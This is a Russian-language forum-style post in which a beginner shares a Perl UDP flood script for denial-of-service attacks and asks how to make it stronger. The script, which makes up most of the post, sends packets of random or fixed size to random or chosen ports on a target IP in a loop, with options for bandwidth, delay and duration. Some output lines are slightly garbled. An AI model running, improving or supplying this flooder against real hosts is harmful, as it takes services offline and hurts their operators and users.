Усиление этого кода ddos

Я пытаюсь сделать код ddos, и это то, что у меня получилось. Я пытаюсь сделать его более эффективным и мощным, просто для тестирования. Я новичок, и мне было интересно, смогу ли я это сделать? Есть ли способ сделать это лучше?

Мой код до сих пор указывал конкретный IP-адрес.

#####################################################
# DDOS.
######################################################

use Socket;
use strict;
use Getopt::Long;
use Time::HiRes qw( usleep gettimeofday ) ;

our $port = 0;
our $size = 0;
our $time = 0;
our $bw   = 0;
our $help = 0;
our $delay= 0;

GetOptions(
    "port=i" => $port,     # UDP port to use, numeric, 0=random
"size=i" => $size,     # packet size, number, 0=random
    "bandwidth=i" => $bw,      # bandwidth to consume
"time=i" => $time,     # time to run
    "delay=f"=> $delay,        # inter-packet delay
"help|?" => $help);        # help
    
my ($ip) = @ARGV;

if ($bw && $delay) {
  print;
  $size = int($bw * $delay / 8);
} elsif ($bw) {
  $delay = (8 * $size) / $bw;
}

$size = 256 if $bw && !$size;

($bw = int($size / $delay * 8)) if ($delay && $size);

my ($iaddr,$endtime,$psize,$pport);
$iaddr = inet_aton("$ip") or die "";
$endtime = time() + ($time ? $time : 1000000);
socket(flood, PF_INET, SOCK_DGRAM, 17);

($size ? "$size-byte" : "") . " " . ($time ? "" : "") . " 33[1;32m 33[0mnn";
print "Interpacket delay $delay msecn" if $delay;
print "total IP bandwidth $bw kbpsn" if $bw;

die "Invalid packet size: $sizen" if $size && ($size < 64 || $size > 1500);
$size -= 28 if $size;
for (;time() <= $endtime;) {
  $psize = $size ? $size : int(rand(1024-64)+64) ;
  $pport = $port ? $port : int(rand(65500))+1;

  send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));
  usleep(1000 * $delay) if $delay;
}

0

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *